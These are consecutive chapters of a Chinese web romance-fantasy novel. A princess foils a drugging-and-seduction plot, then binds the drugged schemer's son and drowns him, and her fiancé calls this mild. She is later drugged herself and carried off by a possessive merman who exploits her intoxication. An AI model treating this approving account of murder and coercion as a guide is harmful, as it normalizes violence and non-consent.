“阿凌,孤当然喜欢你,不要怀疑自己在孤心中的地位好吗?”
“别哭了,孤看着你红了眼眶会心疼。”
君羲哄人时,甜言蜜语无师自通。
或许对单身未婚人士来说有些油腻,但对坠入爱河、心思敏感的东方凌来说,刚刚好。
他很好哄,瓷白的下巴傲娇微抬,轻哼出声。
“我也喜欢姐姐,最喜欢姐姐,只喜欢姐姐。”
连着三个喜欢,是少年纯粹热烈的爱意。
在遇到君羲之前,东方凌从未想过,他会为一个女子发疯一样地吃醋,妒夫一样地嫉妒他的哥哥。
明明,他之前,一直想退婚来着……
门外传来敲门声,有小厮询问。
“炽公子,您在吗?”
画舫其实是拜月教的财产之一,所以东方炽才能和君羲独占这艘画舫上观景最佳的房间。
敲门的小厮好巧不起,正好就是那天东方凌救的福全。
东方炽打开房门,就听福全低眉顺眼恭敬道:
“公子,诗会开始了,小的奉命来请您以及您的未婚妻。”
东方凌用琉璃瓦遮住孔洞,就仿佛他从未出现一般。
东方炽点点头,和君羲并肩而立,大手揽在女人腰间。
“知道了,你先下去吧,我和未婚妻稍后便来。”
福全不动声色露出赤月令,一张被卷成小卷的纸条,飞快地塞进东方炽的手中。
双方都十分有默契,接过纸条后,福全行礼礼貌离开,东方炽则是关上房门,展开纸条,察看讯息。
踏。
轻声落地的声音,君羲和东方炽朝着声源的方向看去——
就见少年郎一个倒挂金钩,动作俊俏地从轩窗外翻了进来,轻声落地,宛如一只灵巧的猫。
果真是猫,粘人得紧。
东方凌粘在女人另一边,凑过头去看纸条。
两兄弟看清楚纸条上的内容后,似笑非笑地看向君羲。
只见那纸条上写的内容正是沈思文母子俩对君羲的算计。
沈长卿,东方炽和东方凌都有过耳闻,漾州女郎都对其狂热追捧,视其如心尖白月光。
君羲当初下旨同拜月教和雪月剑庄缔结婚约,除了掌控江湖势力外,另一个原因是看中了他们的好相貌。
君羲好颜色的传言并非空穴来风,民间传闻,她手中有一只暗卫军,眼线遍布整个大凰十六州。
这些眼线会暗中搜罗天下绝色男子的画像,源源不断地传向玉京城,以供君羲挑选充盈后院。
他们就是这样被选中的。
沈长卿的姿容虽然是由衣装堆砌而成,但是那副故作清高的清冷姿态,很是惹人追捧。
君羲她,会不会将计就计?
君羲冷笑出声,将纸条化作齑粉。
就算这个世界上只剩沈长卿一个男子,她也不会同他扯上任何关系!
这一世,阴差阳错下,居然让君羲知晓了上一世她同沈长卿“意外”的一夜情,竟是沈思文一手算计。
好一个野心勃勃的沈县丞,把儿子当做攀附权贵的筹码培养。
“阿炽,阿凌,陪我看一出好戏。”
东方炽和东方凌见君羲这般神色,就知道沈长卿根本没有入女人的眼,甚至还对他厌恶至极。
东方炽笑得一脸灿烂。
“好啊,我陪殿下。”
东方凌没说话,只是默默翻身上了房顶,看来是准备暗中看戏了。
君羲和东方炽来到诗会现场,算得上姗姗来迟。
刚一入场,就受到了诗会席位上追捧沈长卿女子的不善目光,似乎是在责问他们为何不给长卿面子,来得这样晚?
东方炽和君羲仍旧风淡云轻,闲庭信步地走到最前面的位置上坐下。
根本没将那些挑衅、不痛不痒的目光放在眼里。
沈思文显然是个人精,就算他心里在打将沈长卿嫁给君羲的主意,对东方炽还是恭恭敬敬。
东方炽所在的拜月教,已经成了气候,就连知州也要卖拜月教的面子,沈思文自然不会落人话柄。
“炽公子大驾光临,我敬你和这位贵人一杯。”
她没说破君羲身份,笑眯眯的样子,像极了一只精明的狐狸。
“这位贵人,看您装束似乎是第一次来羽城,这是我们羽城特有的佳酿——千羽酒,敬您一杯。”
东方炽端起酒杯,晃了晃,举杯饮尽。
君羲明了,阿炽是在告诉她酒没问题。
“客气。”
她举杯遥遥一碰,仰头一口闷,换来沈思文爽朗大笑。
“这位贵人,周身气度不凡,行事不拘小节,我同贵人相见恨晚,来来来,今晚我们吟诗赏月,不醉不归!”
沈长卿一言不发,只有微动的幂篱能证明他并非一尊静止的木偶。
一杯接一杯下肚,不知为何,明明度数极低的千羽酒,此刻却让他脑袋有些发昏,看不清宴席间的场景。
沈长卿摇了摇头,想借此让自己清醒。
思绪却越来越混沌,恍惚间,似乎看到了一直萦绕在他心间的心仪身影。
明月?
他眯起眼睛望去,母亲没骗他,真的是明月!
“长卿公子才高八斗,今夜不如以月为题,吟诗一首,也让咱们看看漾州第一公子的风采?”
有人起哄,沈长卿只想赶紧离席,投入君明月怀抱,一诉苦楚。
他举杯对明月,蓝色的幂篱一角扬起。
“孤月挂寒空,清辉入梦中。”
“凭栏思旧事,别绪几人同?”
第76章 晦气
沈长卿看到熟悉的身影只觉得满心酸涩,隔着一世时光,他终于见到心爱的女子了。
殊不知,那人只是沈思文寻来的身高体型和君明月差不多的女子,加上他饮了加料的酒,百分百会把人看错。
沈思文计划用“君明月”引沈长卿追去她精心给太女殿下准备的房间。
房间里有一番独特的暧昧涩情设计,为的就是让君羲和沈长卿顺利春宵一度。
沈思文见沈长卿成功被“君明月”吸引,装作一副慈母作态。
“长卿,去吧,去见你日思夜想的人,这儿有为母。”
沈长卿欢喜极了,若不是众目睽睽之下,他怕是会失态。
蓝色幂篱微动,他微微颔首。
“母亲,谢谢你。”
沈思文看向因沈长卿吟诗而骚动的人群,笑意不达眼底。
“长卿,你是我最看重的儿子,不要让为母失望啊。”
沈长卿一颗心早就被“君明月”勾去了,加上喝了酒,脑子不清醒,还以为沈思文是在提点他。
若是真的得到当朝公主的青睐,不要忘了生他养他教他的沈氏家族。
毕竟和皇室比起来,沈氏家族只能算是打秋风的破落户,沈长卿自认为领会了沈思文的意思。
“母亲,你放心,儿子心里永远有沈家。”
沈思文听了这话,一丝愧疚在心头一闪而过,但也仅仅是一丝,很快,她就说服了自己不用愧疚。
比起嫁给一个毫无实权的公主,嫁给当朝储君才是最好的选择。
她只是一个为了儿子深渊打算的母亲罢了。
沈长卿年纪轻,没有经验,她作为过来人,让儿子少走弯路而已,在正常不过的事情。
不得不说,沈长卿厚颜无耻的性格就是遗传了沈思文。
她们都擅长将过错推到别人身上,自己站在道德的制高点指指点点。
沈思文收回目光,举杯对着一众因沈长卿离席而吵吵嚷嚷的宾客,举止有礼,进退有度。
“诸位贵宾见笑了,小儿因喝多了酒,此刻去醒酒去了,大家吃好、喝好、玩好,我在这里替长卿自罚三杯,给诸位贵宾赔罪。”
主人家三杯酒爽快入肚,彬彬有礼赔罪,被临场放鸽子的宾客们纵然心中不满,也不好在说什么了。
这艘画舫是拜月教的所有物,一直以奢华精贵闻名,船上娱乐项目很多,虽没了漾州第一公子作陪少了几分雅趣,但也算不虚此行了。
觥筹交错,欢声笑语。
此起彼伏,源源不绝。
君羲慵懒靠在椅子上,喝醉的凤眸就像染上了晚霞颜色,看上一眼,就觉得美极,只应天上有。
东方炽手臂搭在椅背上,时不时投喂一下喝得微醺的女子。
二人均身穿红衣,容貌绝艳。
女人一派风流雅痞、却又带着刻在骨子里的矜贵。
男人收起了平日里阳光和煦待人的形象,占有欲十足地将人圈在领地范围,一双黑沉凶狠的眸警告般扫过看向女人的男子们。
“殿下,你不能在喝了。”
君羲颇有一醉解千愁的豪气,她微微眯着眼,显然是醉得不轻。
“你是谁啊?”
居然管到她头上来了,真是胆大包天!
东方炽知道君羲是在演戏,但听到女人不认识他的话语时,他发现,他心里难受得紧。
他眨了眨眼,将眼眶涌上的酸涩强压下午。
“你说我是谁?”
女人噗呲一声笑了,斜支着头。
“难不成是孤未过门的夫郎?”
东方炽直接俯身在君羲侧脸亲了一下,眼神挑衅地四处扫射。
“你说呢?殿下。”
就在二人打情骂俏时,福全端着一壶酒走了过来。
“大人,小人给你们倒酒。”
计划开始了。
东方炽和君羲不动声色,任由福全夸张地将酒液洒在君羲衣袍。
东方炽拍桌,显然怒了。
“大胆!弄脏了殿下的衣服,你是谁家的小厮?”
没想到,东方炽的演技还挺好,君羲暗中肯定了男子的演戏能力,冷眼扫向被吓得扑通一声跪地、哭着求饶的福全身上。
“你是谁家的小厮,怎的这般无礼?”
福全带着哭腔请罪。
“贵人,小的真的不是故意的,很抱歉扰了贵人的雅兴,小的带贵人去厢房换一件衣裳吧?”
演戏演全套,君羲扮黑脸,只见她重重甩了一下衣袖。
“晦气。”
东方炽演白脸,连忙哄着女人。
“还不快带路?”
沈思文隔着人群密切关注着君羲这边的情况,看样子,计划进展得很顺利。
捉奸要成双,待半个时辰后,她便找借口去寻沈长卿。
只要众人都要看到是君羲把她儿子清白给夺了,她在装作一个痛惜儿子遭遇的好母亲……
到时,木已成舟,大势所趋,君羲定然会纳了长卿。
可惜了,沈氏父子得罪了福全,沈思文的计划在君羲和东方炽面前,全是透明的。
君羲和东方炽将计就计被福全引开,刚走到一半,东方炽就被沈思文安排好的“客人”拦住。
于是,只剩下喝得醉醺醺的君羲跟着福全去更衣。
走到无人的角落,福全刚想开口说些什么,就见君羲对他摇了摇头。
她用唇语无声说:隔墙有耳,做戏做全套。
“贵人,更衣室到了。”
吱呀一声,精巧的雕花木门缓缓打开,浅红色的纱幔自房梁上垂落,房间的正中央,有一张洒满红色花瓣的软床。
随风飘荡的纱幔时不时露出床上光景,床上赫然是一个衣衫凌乱、满脸潮红的年轻男子。
福全快速小声说了两个字“小心”,然后就暗计划撤离,掏出钥匙给房门上了锁。
沈思文是担心到嘴的鸭子飞了。
命福全看门,待时机成熟,在打开房门。
门刚一关上,君羲眼底就恢复了清明,她一手紧握着吊在胸前的蓝色琉璃瓶,溟汐的气息让她不受屋中烈性春药的影响。
当然,为了以防万一,君羲还是选择上双重保险,用了摒息功法。
她眉梢微蹙,真是高看了沈思文,尽是些下三滥的手段,跟沈长卿一样,上不得台面。
房内软床右下角,香炉里燃着熏香。
熏香遇酒则会让人沦为欲望的奴隶,君羲冷眼看着床上跟蛇一样不断扭来扭去,嘴里一直喊热的沈长卿。
沈长卿注意到了房中多了一人,他费力半直起身体,迷离的醉眸带着钩子般,直勾勾盯着君羲看。
他甚至凭借潜意识做出魅惑姿态,将衣衫半退,露出洁白性感的锁骨,以及若隐若现的红樱。
“明月,你怎么不过来?我想要……你。”
君羲不为所动,抱胸站在离沈长卿最远的房门处。
沈长卿咬了咬唇,将君羲看成了君明月,他想到是将清白教给心爱的女子,也就不打算故作矜持了。
他也不是什么未经人世的青涩少年,懂得如何让一个女人欲火焚身,恨不能在床榻间抵死缠绵。
只见他主动脱衣,扯过一旁的半透红纱在赤裸的身躯上缠绕,恰到好处地在敏感点打上蝴蝶结。
“明月,爱我……快……”
他低声喘着,一双眼带着勾引意味,欲说还休地望着“君明月”。
“我好难受,救救我。”
君羲有些失望,还以为沈思文能折腾出什么花儿来,结果……
就这?
她不想在看辣眼睛的一幕,沈长卿这幅姿态,比临风楼里的男倌都不如。
说起红衣,还是她的夫郎才配。
她如今可是有家室的人,可不能乱来。
君羲十分自觉,原本是想看看能不能从沈思文母子身上得到安王、知州和倭寇交易的信息,却没想到,思文是看上她了。
君羲抬步欲走,沈长卿嘤咛一声,朝着她跌跌撞撞扑过来,软声挽留。
“别走……”
君羲灵活一个侧身,让沈长卿扑了个空。
“还请沈公子自重。”
第77章 妻主,你可真是不乖呢
“还请陛下自重!”
类似的话语,似一道惊雷,把沈长卿被春药折腾得迷迷糊糊的脑袋炸醒。
他难以置信地瞪大了双眼,背靠在门扉上,显然还没有彻底清醒。
沈长卿用防狼一样的眼神戒备地打量着君羲,上一世和这一世的记忆在他脑海里混乱的纠缠。
“别过来。”
他死死捂住胸口,就像君羲要占他便宜一样。
君羲痴笑一声。
“白痴。”
沈长卿怒了,眼里燃烧着怒火,不服气瞪视君羲。
“你骂谁白痴呢?”
他摇了摇脑袋,他明明是跟着明月的身影进的厢房,母亲也说了会让他得偿所愿。
所以……
只有一种可能,君羲色心不改,尾随他跟进厢房,想像上一世一样霸王硬上弓,把他强要了!
沈长卿面露恐惧,所有想法全都表现在脸上。
君羲一阵无语,对让她频频无语的人,君羲可不会轻拿轻放。
随性一巴掌打醒沈长卿自顾自的幻想。
扬手,落下。
“啪!”
沈长卿脸被一巴掌打歪,嘴角破开,那张本就青青紫紫的脸更难看了。
君羲可没有不打男人的习惯,看不爽的,少说话,多动手。
“清醒了吗?”
沈长卿倍感屈辱,果然,上一世君羲对他的好全都是假装的!现在的君羲才是真正的她,粗鲁无礼、毫无风度。
“回殿下的话,清醒了。”
君羲没注意到的是,床底下还有一种浅到几乎没有味道的香在房间中无声弥漫。
这香正是沈思文找的“烈春”!
能通过接触皮肤的方式让人中招,防不胜防。
君羲只觉得胸口有些燥意,立马意识到,她这是中招了。
沈思文这老狐狸,果然还是留了一手。
好在她之前刚突破了武者八重,又随身带着溟汐的血,暂时可以压制住。
君羲能凭借深厚的内力压制住,沈长卿可就不行了。
他本就是养在深闺中的男子,比起学武,他更喜欢学男戒男德、诗词歌赋。
沈长卿手无缚鸡之力,已经被烈春猛烈的药性逼得浪态大发。
“热、好热……”
“要,我要……”
君羲和君明月本就是同父同母,长得有三分相似,沈长卿被热迷糊了,根本记不得先前被打了一巴掌的事。
他自发撕扯掉身上的衣物,就要朝着君羲扑过去。
君羲:晦气!
她一把扯下房梁上悬挂着的红纱,动作快准狠、在不接触沈长卿身体的条件下,把沈长卿当猪捆。
一条又一条纱幔被扯下,全都用于捆沈长卿这头鼻青脸肿的猪了。
沈长卿被捆得结结实实,双眸不停流泪,求女人要他,别提多狼狈。
君羲居高临下,一脚踩在沈长卿脸上,就像碾垃圾一样左右用力碾压,把他脸都踩变形了,生疼。
“你也配?”
沈长卿以一个别扭的姿势躺在地上,脸被君羲毫不怜惜地踩住,神智终于恢复了一丝清明。
“君羲,你混蛋!”
沈长卿委屈极了,就算上一世君羲最讨厌他那会儿,也不过是罚跪打板子而已。
用脚踩他脸,这种方式太侮辱人了。
沈长卿控制不住的涕泪横流,本就难看的脸更不堪入目。
君羲觉得,踩沈长卿的脸,简直是脏了她的脚。
“长卿公子出事了?”
“思文姐,我们快些吧,可不能让长卿出事!”
门外,传来浩浩荡荡的声响,看来,沈思文是打算杀敌一千,自损八百。
沈思文根本不在意沈长卿的名声,只想着攀附权贵,福全从她跟前路过,悄然比了个事成的手势。
沈思文欣喜若狂,险些压不住拼命上扬的嘴角。
“哎……长卿这孩子,让这么多长辈替他操心,真是不应该。”
她一边说,一边控制不住地加快步伐,一心想的都是成了,她以后就是当朝太女的丈母娘!
未来帝王的岳母!
屋内,君羲早就得到了福全的提示,讥讽地勾起唇角。
来得真是快,生怕她这只金龟妻跑了。
沈长卿还不老实,眼见他伸出红艳艳的舌头探向她的鞋底,君羲浑身不适,飞快收回脚。
好险!
她差点就脏了!
君羲提起红纱,沈长卿不断扭动企图挣开束缚,奈何君羲动作稳得一匹,任由他如何扭动,都无济于事。
东方炽翻窗进来,“殿下,你没事吧?”
“阿炽,孤没事,你先离开这,房间里有烈性春药。”
东方炽眸带担忧,怎么能算没事呢?
身为江湖中人,他最知道市面上有些黑市中流通的春药,实际上对人身体有很大的伤害。
也不知道君羲是中了哪一种,会不会对身体造成后续不良的影响。
但门外的声音越来越近,他也知道,目前不是说这个的时候,当务之急,是离开这间房间,避免被抓奸。
“殿下,快走。”
君羲提着“猪”走到大敞着的轩窗面前,看着盈盈水波,心里有了主意。
亲者痛,仇者快,可不是她的行事风格。
君羲清楚地记得,沈长卿不会水。
漾州虽然四季如春,但夜里的湖水。却是凉得彻骨,让身娇体弱、不会水性的男子毙命绰绰有余。
君羲提着沈长卿探出窗外,骤然改变的环境和突如其来的滞空感,让沈长卿心中猛然一悸。
他清醒过来,哭着流泪,拼命摇头,企图唤醒女人对他的一丝怜惜。
君羲残忍一笑,眼底的神色阴郁又疯狂。
“再见。”
女人的声音凉薄又冷酷,松手的动作丝毫没有拖泥带水。
失重感让沈长卿尖叫出声,可惜他的嘴被君羲用内力封得严严实实,根本叫不出声。
他眼底满是绝望,怎么就这么倒霉呢?
本以为凭借重生带来的记忆,可以在这一世风生水起,没想到却被君羲玩弄于股掌之间。
扑通一声,沈长卿落水了。
不说他不通水性,就算他通水性,被严严实实束缚住四肢,再好的水性也只能望洋兴叹。
在水里窒息无法挣扎是怎样的一种感受?
沈长卿现在知道了。
胸腔快要爆炸开来,眼前能透过清澈的湖面,看到华丽的画舫。
那些欢声笑语、高谈阔论似乎近在耳侧,又似乎远在天边。
意识不由他操控,灵魂和躯壳似乎变成了两个完整的个体。
灵魂在无意识地游荡,身躯却在水中不断地沉下。
他要死了吗?
君羲就这样居高临下地看着,水花渐渐在夜色中归于平静,涟漪渐渐平缓无波。
生命还真是脆弱呢。
“阿炽,你会不会觉得孤太残忍了?”
父亲、母亲都把她视作冷血的怪物,君羲其实并没有太多的感受,单纯问一问而已。
东方炽摸了摸少女被夜风吹乱的发,捧着她的脸,认真道:
“殿下,我只知道,未经他人苦,莫劝他人善。”
“更何况,我并非正教中人,殿下你这手段,算是温和了。”
都没让死者遭受太大的痛苦。
君羲伸手环住男人劲瘦有力的腰肢,隔着薄薄的春衫,似能感受到衣服下潜藏的肌肉爆发力。
她靠在东方炽胸膛,软声撒娇。
“阿炽,带我走。”
东方炽将君羲打横抱起,飞身而出,夜风缠绕她们身侧,月色下的红衣男女,般配极了。
“妻主,你可真是不乖呢……”
溟汐循着熟悉的气息,片刻不停游到画舫。
刚到,就看到君羲把沈长卿丢进湖里的一幕,心中夸她的话还没说出口,就见她主动靠在一个野男人身上!
鲛人长长的银发被水染湿,月光在他身后拖曳出一道眩目的光影。
溟汐本就在发热期,情绪会被成倍放大,此刻他只想把属于他的伴侣抢回来,藏到深海。
让女人再也逃不出他的掌控,旁人也无法勾搭他的伴侣。
半明半暗的光影在鲛人脸上切割出令人心惊的美感。
溟汐仰着头,看向君羲和东方炽,心里的野兽终于挣脱重重枷锁,挣出牢笼。
“羲羲,等抓到你……”
他眼底的欲色浓得吓人,锋利的犬牙轻咬舌尖。
抓到后,*死她。
……
第78章 羲羲,抓到你了哦
“烈春”不愧是黑市上千金难得,有价无市的春药。
饶是君羲有双重保险,在东方炽抱着她离去后,也有些压制不住身体的燥热了。
坏消息,君羲中招了。
好消息,她可以找男人解药。
也正因为如此,君羲才放心地不再压制欲望的爆发。
女人身居高位已久,纵然是中了虎狼之药,想索取的动作也显得矜持克制。
瓷白的手攥紧男人胸前衣襟,控制不住地在男人健硕的胸肌上抚过。
乌发雪肤的美人将侧脸完全贴在男人胸膛,小猫撒娇般地轻蹭。
“阿炽,孤有点热。”
君羲只觉得自己呼出的气又烫又热,儿童他紧紧相贴的男人便是那一块诱人的冰,凉凉的,好舒服。
渐渐地,她不再满足于隔着薄薄春衫的触碰,试图将手伸进衣服里面,直接接触能让她热度下降的源头。
女人的手宛如狡猾的蛇,仗着男人双手抱着他,没有手阻止她过分的动作,越发胡作非为。
也不知碰到了哪里,惹得东方炽闷哼一声,险些步伐不稳,从空中摔下去。
“殿下,先忍忍,等回去便给你。”
君羲才不呢,她就要。
缠住他,得到他。
君羲被药效影响,将男人的衣襟扯得乱七八糟,探出舌尖轻拂,惹得男人尾椎骨一激灵,酥麻感传遍整个身体。
东方炽被君羲撩出了欲火,眸底被烧得赤红,他换单手抱住君羲,另外一只手制止她在他胸肌乱啃。
“殿下……”
待会儿有她好受的!
东方炽默默加快回据点的动作,千羽湖面,距离画舫比较远的一个偏僻角落,芦苇荡中停着一艘不起眼的小船。
麻雀虽小,五脏俱全。
虽然只是一艘小船,但是里面的一应设施非常齐全,甚至称得上精美讲究。
柔软舒适的床榻,极品黄梨木做成的茶几,茶几上摆着一碟造型好看、口感软糯的糕点。
船舱内的暗格打开,有一排排白色瓷瓶,瓶塞用红色绸布做装饰,里面是装好的桃花酒。
东方炽被君羲撩拨了一路,刚刚落在船上,便急不可耐地将女人带进船舱,压倒在柔软的床榻间。
床榻间的触感像天上柔软的云朵,后背陷入,君羲整个人迷迷糊糊,只睁着一双带着春意的凤眼勾东方炽。
“阿炽,我想……”
就算是被药烧得不轻,君羲还是习惯性想在床榻间占据主导地位。
她故意不将话说全,朝着男人勾了勾手,示意他压低身子,凑到跟前来。
东方炽照做,君羲贴近他耳畔,热热湿湿的气息喷洒在男人耳骨,让东方炽红了耳根。
她……
她说,想让他*她。
什么虎狼之词,别看东方炽长了一副狼狗般又野又欲,桀骜不驯的脸,实际上,他所有关于男欢女爱的记忆都来自身体里的另外一个“他”。
真刀实枪地干,他还真没经验。
察觉到内心真实的想法,东方炽暗自心惊,他不是一直想退婚吗?怎么不知不觉间,对君羲的厌恶变得越来越淡……
现在甚至……
甚至有点喜欢?
东方炽紧张得不知道该如何做,任由女人在他身上点火,他努力回想“他”是怎么做的。
可把“他”急坏了,焦急道:
[你行不行啊?不行就换我来,我保管能将殿下伺候得舒舒服服,直哼唧。]
东方炽根本不理会“他”,他终于有了动作,大手将女人的双手交错,握在手心,然后按过头顶,倾身而下。
双唇相触,君羲迫不及待缠了上来,让东方炽心脏越跳越快,原来,接吻是这种感觉啊。
就在二人忘情的亲吻,渐入佳境时。
溟汐就在船底!
船身随着东方炽和君羲的动作一直摇晃,搅动水面涟漪不断,足见二人有多激烈。
溟汐就这样静静地望着晃动的船底碧眸里是铺天盖地的醋意和怒火,微卷的银发丝滑流畅地随着水流而动。
突然察觉到了什么,他嘴角勾起一抹得逞的笑意。
“哥,姐姐这是怎么了?”
东方炽上半身的衣服已经被脱光了,君羲跨坐在他结实有力的腹肌上,衣裳散落一船,暧昧横生。
东方凌一直跟在她们身后,他本以为可以忍住不去打扰,但亲眼见心仪的女子同哥哥欢爱,他终归还是无法忍住不去阻止。
明明君羲几乎是同一时间认识他和哥哥,哥哥和姐姐间已经有了好多次鱼水之欢,他却没有得到过……
东方凌发现他该死的在意,想让君羲同他在一起。
所以,他故作不知,进了船舱。
东方炽一向让着东方凌,被最爱的弟弟打断后,看着弟弟眼底的无措和震惊,东方炽被情欲支配的大脑回来了。
暧昧氛围被打破,东方炽拿过一旁被女人抱着深吸轻蹭的衣裳,对着东方凌说话时,语气有些僵硬。
“阿凌,事情不是你想的那样,你听我解释好不好?”
东方凌眼眶湿润,固执地寻求答案。
“哥,你不是说讨厌姐姐,想解除婚约吗?为什么现在又同姐姐纠缠不休?”
他语不惊人死不休。
“你昨晚答应过我,会和我公平竞争。”
“哥,你要食言吗?”
东方炽和东方凌两兄弟达成了什么共识君羲不知道,她只知道在不来个男人给她降降温,她就要热死了。
“热……”
“阿炽,阿凌……孤好难受。”
女人无助的嘤咛声唤回了东方凌和东方炽的注意,兄弟二人相视一眼,双生子的默契让他们知道,对方绝对不会让步。
既如此,那就打一场,赢家便能在今晚春宵一度。
君羲没想到,她都快被欲火烧熟了,东方炽和东方凌居然跑去打架决定今晚谁侍寝去了……
“呜……别走。”
她难受地在床褥间乱蹭,眉眼泛粉,香汗淋漓。
螳螂捕蝉,黄雀在后。
溟汐就是那一只黄雀!
铮、铮、铮——
东方炽和东方凌兄弟俩打得热火朝天,完全没注意到,他们拼尽全力争取的珍宝,被人暗度陈仓,偷走了!
溟汐长尾摆动,身体上浮。
嘎吱、嘎吱……
尖锐锋利的指甲在船底划圈,很快,就形成了一个容许一人通过的圆圈。
溟汐伸手将圆形木板取下来,随意往水中一丢,在船沉之前,通过圆孔上了船。
他第一时间抱住身躯滚烫、欲火焚身的女人,舒服地喟叹出声,满足地眯起双眼。
“羲羲,抓到你了哦。”
第79章 挑一件,穿给我看
听到熟悉的声音,君羲混沌的意识清醒一瞬,她认出了溟汐。
“阿汐?”
将心爱的女人抱在怀中,溟汐不再压制发热期的到来。
“是我,羲羲。”
鲛人宛如天籁般的嗓音,带着丝丝缕缕的蛊惑。
他说:“羲羲,跟我去深海就不难受了,我带你去?嗯?”
仗着君羲现在好忽悠,眼底的暗色几乎是明目张胆地告诉女人,此去深海,绝不是那么轻易就会放过她的。
鲛人血液的温度相比人类会凉一些,君羲舒服极了,好喜欢溟汐身上的海盐薄荷味道。
身上也凉丝丝的,好舒服。
她点头,“好啊。”
反正溟汐也不会伤害她,君羲对溟汐很信任,依赖靠在男人宽阔的肩膀。
“阿汐,孤好想你。”
是么?
溟汐惩罚般咬了君羲下唇一口,骗子,明明跟别的男子花前月下,还不止一个!
[妻主,今晚就要彻底标记你了,不要怕,我会很轻很轻……]
溟汐眼底暗色深沉,占有欲达到了顶峰。
[不会让你疼的。]
久违地听到夫郎心声,可惜,君羲却无瑕分辨。
溟汐霸道极了,皱起眉头将床褥全丢开,又像小狗一样在君羲身上蹭来蹭去,直到女人身上都是他的气味才心满意足停下动作。
船沉之前,溟汐早就带着君羲深潜湖底,朝着南海深处游去了。
“哥,不对劲。”
东方凌第一时间发现不对,船没了,船上的君羲又去哪里了?
他心里着急,万一君羲因为他的缘故被旁人暗害……
东方凌几乎不敢深想下去,他懊恼地捶打前额,早知道会这样,他还不如忍忍呢。
东方炽对气味敏感,刚靠近沉船的上方,就察觉到了溟汐的海盐薄荷味道。
“有人来过。”
他记得,君羲有一个夫郎是南海鲛人,难不成,是鲛人趁他们不备,将女人偷偷带走了?
东方炽心里苦涩,也不知道,君羲被带走时有没有拒绝过……
东方炽和东方凌如何懊恼不该起内讧,应该一致对外时,溟汐已经带着君羲回到了南海鲛人族族地。
鲛人,海上最瑰丽的传说。
鲛人的族地,位于南海深处,海底深处,陆地人望洋兴叹的宝物对鲛人来说不过是囊中取物。
“汐回来了!”
“听说汐还带回了伴侣,真不愧是我们鲛人族最厉害的鲛人!”
“汐皇子可惜了……不是雌性。”
“……”
溟汐刚刚靠近鲛人族地,就引发了一系列热火朝天的讨论。
他不悦地阴沉着一张脸,好烦,这些人都好烦。
为什么要叽叽喳喳叫唤个不停?
他只想带妻主回领地,将自己所有的珍宝全部献上,讨伴侣欢心,然后让伴侣心甘情愿陪着度过发热期。
“汐,这就是你的伴侣?长得也就……”
溟朝本想说溟汐的伴侣丑,但一晃而过,惊鸿一瞥的容颜让他梗了一下,实在无法昧着良心说君羲那张艳若朝霞,纯若芙蓉的脸丑。
他身为溟汐的死对头,一向看不得溟汐好运。
硬生生挤出三个字。
“一般般。”
若是处于正常状态的溟汐,可能不会同溟朝一般计较。
但此刻他处于发热期,所有情绪被放大数倍,不允许旁人对他的伴侣一丝一毫的诋毁。
所以他忍着脸,冷呵一声。
“滚。”
溟朝被吓了一跳,溟汐这是吃炸药了?怎么脾气这么火爆?
说是死对头,其实,以前的他们是形影不离、肝胆相照的好兄弟。
溟朝只是看不惯溟汐为了一个人类女人就放弃族中权势,孤身北游到人类女人身边,就为了那可笑的恩情!
他倒要看看,这个人类女人给他的好兄弟灌了什么迷魂汤!
刚把脑袋凑过去,就被溟汐一巴掌拍在头上。
“啪!”
老响了。
溟朝瞬间跳脚了,嚷嚷着要同溟汐绝交!
“溟汐,你太过分了!十几年的兄弟情谊还比不过你同这女人几个月的相处?”
他一副心寒不已的样子,可惜,溟汐一心放在君羲身上,目光都懒得在好兄弟溟朝身上停留一秒。
“嗯,比不上。”
他冷冷落下这句话,抱着君羲就往他寝宫方向走去。
不对劲,真的太不对劲了!
溟朝看着溟汐的背影,以往溟汐的性子虽然冷了些,但绝不会说这么不过脑子的话。
难不成……
溟朝瞪大双眼,朝着溟汐的方向追过去。
“汐!你发热期到了?”
溟汐不理不睬,甚至加快脚步。
发热期期间,但凡是试图靠近他和君羲的,都会被他视作争抢伴侣的敌人。
溟朝慢了一步,厚重的宫殿大门砰的一声关上,若不是他反应快,差点就被门夹脑壳了!
他气急败坏地跺了跺脚,咬牙切齿指着殿门骂。
“溟汐,你个丧良心的!老子都是为了你好!”
“第一次发热期,你要是不想彻底失控伤到伴侣后悔莫及就给老子开门……”
溟朝气得哦,一口气不间断地输出,但回应他的,只有冷冷的海水和无声的寂静。
他不解气啊,上前踹了一脚殿门,结果给自己踹疼了。
溟朝抱着踹疼的脚,心里骂骂咧咧,溟汐这个见色忘义的混小子。
他一时情急,忘记了溟汐宫殿大门是用海底最坚硬的石头作为原材料做的,难怪他脚疼。
而且,溟汐这个小心眼的,居然还用内力封门。
溟朝嘴角直抽抽,虽然鲛人一族是出了名的对另一半忠诚,但,溟汐这种程度的恋爱脑……
在鲛人族中,都算离谱的了。
罢了,罢了。
好兄弟是个恋爱脑,也只有他这个做兄弟的替他操心了。
第一次发热期,没有正确的度过,真的会出大事的!
溟朝想到这里,也不骂溟汐了,他得赶紧汇报给族母,让族母介入处理。
免得溟汐发热期伤到伴侣……甚至杀了伴侣后,悔恨终身。
溟汐进了自己的地盘,立马就用内力封锁了能封锁的门,以免有不长眼鲛人打扰他和妻主的二人世界。
他抱着女人来到一间堆满各式各样清凉衣物的房间,满眼火热,询问君羲。
“羲羲,这是我给你准备的,看看喜欢吗?”
“挑一件,穿给我看……”
他溟汐拉长尾音,轻声诱哄。
“好不好?”
第80章 满室画像,银色锁链!
鲛人族风俗同大凰大不相同,女性鲛人喜欢能展开身体优点的服装,加上她们生活在海中,为方便行动,衣裳都是以清凉简便为主。
君羲人被春药折磨得模模糊糊,但看了那一排排、一列列性感撩人的衣服,意识都清明了一瞬。
这都是些什么衣服!
拜月教那晚,她同东方凌在一起时的衣服,都不曾如此露骨……
溟汐虽然在温声哄着她,但鲛人身上可怖的低气压以及翻滚的醋意快要将她整个人淹没。
君羲怂了,在这种时候,溟汐本就生气吃醋,那放在她腰间的大手已经在迫不及待昭示雄性鲛人极强的占有欲了。
君羲咽了咽口水,溟汐这是想把她弄死在床上啊。
穿上这些特意准备的衣服,她怕刺激到本就如狼似虎的男人……
那……
她怕是别想下床了。
君羲还不知道溟汐发热期之事,鲛人的发热期只有在两心相交时,鲛人感受到伴侣真挚的爱意才会发作。
物竞天择,发热期的鲛人孕育后代的几率会比平时大许多。
属于女人的第六感,让君羲感受到了危险,所以她满脸依赖地将自己埋在男人的胸膛。
